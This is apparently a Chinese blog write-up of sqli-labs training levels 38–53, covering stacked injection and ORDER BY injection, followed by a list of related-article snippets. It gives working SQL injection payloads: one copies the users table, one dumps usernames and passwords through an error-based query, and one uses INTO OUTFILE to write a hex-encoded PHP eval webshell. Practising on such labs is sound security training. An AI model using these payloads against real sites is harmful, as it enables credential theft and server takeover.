堆叠注入

less-38

less-39

less-40

less-41

less-42

less-43

less-44

less-45


考察order by相关注入

less-46

less-47

less-48

less-49

less-50

less-51

less-52

less-53


Stacked injections(堆叠注入):一堆sql语句放在一起执行。

  • 堆叠注入原理:在sql语句中,用分号(;)结束一句sql语句,如果在结束一句sql语句的同时继续构造下一条语句并且执行,就是堆叠注入。堆叠注入可以执行的是任意的语句.

less-38

知道原理后接下来开始测试:

  • ?id=1‘ --+

  • 拼接语句,前一句和后一句用分号隔开

1'; create table A2rcher like users ;--+

数据库中有a2rcher表,说明sql语句执行生效。

  • 1';create table zjh1 like users;insert into zjh1 select *from users; --+

数据就出来了

less-39

与38不同的是闭合方式。

数字型

less-40

第40关报错不回显。

测试了一下闭合方式是('')

less-41

id=1' 没有回显,看了下源码同39

less-42

过滤函数mysqli_real_escape_string()

 $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST ["login_password"];

burp抓包,passwd处修改报错注入

  • 1' and updatexml(1,concat(0x5e,substr((select group_concat(username,0x7e,password) from users),1,31),0x5e),1) #&mysubmit=Login

less-43

闭合方式不同 ('')

less-44

没有回显信息 id=’1‘

less-45

没有回显信息 id=(’1‘)


46-53考察order by相关注入

desc:降序

asc:升序

less-46

'Please input parameter as SORT with numeric value'

用sort代替id传参

  • sort=1

  • sort-2

  • sort=3

sort-4报错

  • 时间盲注猜测字段

less-47

包裹方式的不同,用?sort=1'包裹,其他与Less-46相同

less-48

无包裹,无错误回显,与Less-46相同

less-49

sort=1'包裹,无错误回显,但是这一关可以用outfile上传一句话

奇怪的知识又增加了呢!

使用line terminal by语句 使得一句话木马在结尾部分输出,并且一句话木马要转成十六进制

payload:

?sort=1'into outfile '路径\webshell.php' lines terminated by 0x3c70687020406576616c28245f504f53545b2263726f77225d3b3f3e --+

less-50

报错注入

less-51

用?sort=1'包裹 

法一:延时注入

  法二:报错注入

  法三:写入一句话木马 以上三种方法参考上面。

  法四:使用堆叠注入创建新的users表。

  法五:使用堆叠注入写入一句话木马。

less-52

无包裹,无报错回显

法一:延时注入

  法二:写入一句话木马 以上三种方法参考上面。

  法三:使用堆叠注入创建新的users表。

  法四:使用堆叠注入写入一句话木马

less-53

用?sort=1'包裹

法一:延时注入

  法二:写入一句话木马 以上三种方法参考上面。

  法三:使用堆叠注入创建新的users表。

  法四:使用堆叠注入写入一句话木马。

sqli-labs less38-53(堆叠注入 order by之后相关注入)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  6. 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞

    目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...

  7. Statement和PreparedStatement的区别; 什么是SQL注入,怎么防止SQL注入?

    问题一:Statement和PreparedStatement的区别 先来说说,什么是java中的Statement:Statement是java执行数据库操作的一个重要方法,用于在已经建立数据库连接 ...

  8. Statement和PreparedStatement的区别; 什么是SQL注入,怎么防止SQL注入? (转)

    问题一:Statement和PreparedStatement的区别 先来说说,什么是java中的Statement:Statement是java执行数据库操作的一个重要方法,用于在已经建立数据库连接 ...

  9. 常见注入手法第二讲,APC注入

    常见注入手法第二讲,APC注入 转载注明出处 首先,我们要了解下什么是APC APC 是一个简称,具体名字叫做异步过程调用,我们看下MSDN中的解释,异步过程调用,属于是同步对象中的函数,所以去同步对 ...

随机推荐

  1. DB2中SQL基本语句的操作

    完全转载自:http://blog.sina.com.cn/s/blog_67aaf4440100v01p.html --创建数据库 create database Etp; --连接数据库 conn ...

  2. 《.NET 5.0 背锅案》第7集-大结局:捉拿真凶 StackExchange.Redis.Extensions 归案

    第1集:验证 .NET 5.0 正式版 docker 镜像问题 第2集:码中的小窟窿,背后的大坑,发现重要嫌犯 EnyimMemcachedCore 第3集-剧情反转:EnyimMemcachedCo ...

  3. Python_DOM

    Dom简介:Js通过标签筛选让html多文件联动 1.找到标签 获取单个元素 docum ent.getElemrntByID('i1') 获取多个元素(列表)document.getElemrnts ...

  4. Java中5种List的去重方法及它们的效率对比,你用对了吗?

    01.使用两个for循环实现List去重(有序) /**使用两个for循环实现List去重(有序)     *     * @param list     * */    public static  ...

  5. [代码审计Day2] filter_var函数缺陷代码审计

    简介 // composer require "twig/twig" require 'vendor/autoload.php'; class Template { private ...

  6. 三步删除U深度,老毛桃,大白菜捆绑软件!!

    ①需要下载一个软件Fbinst Tool(万能U盘制作工具).链接:http://pan.baidu.com/s/1mim9Zxm 密码:7poo②插入U盘,直接打开Fbinst Tool.首先是U深 ...

  7. vue中父子间传值和非父子间传值

    vue传值一般分三种方式:父组件向子组件传值.子组件向父子间传值.非父子组件进行传值 一.父组件向子组件传值:父组件引用子组件后,通过数据绑定(v-bind)向子组件传值 父组件: <templ ...

  8. 面试老被问LinkedList源码?看看阿里技术官是怎么深度剖析的吧!

    前言 LinkedList底层是基于双向链表,链表在内存中不是连续的,而是通过引用来关联所有的元素,所以链表的优点在于添加和删除元素比较快,因为只是移动指针,并且不需要判断是否需要扩容,缺点是查询和遍 ...

  9. 面试阿里,腾讯,字节跳动90%都会被问到的Spring中的循环依赖

    前言 Spring中的循环依赖一直是Spring中一个很重要的话题,一方面是因为源码中为了解决循环依赖做了很多处理,另外一方面是因为面试的时候,如果问到Spring中比较高阶的问题,那么循环依赖必定逃 ...

  10. pytest参数化

    Pytest可以在多个级别上实现测试参数化 一.@pytest.fixture装饰器调用参数 示例 import pytest from selenium import webdriver from ...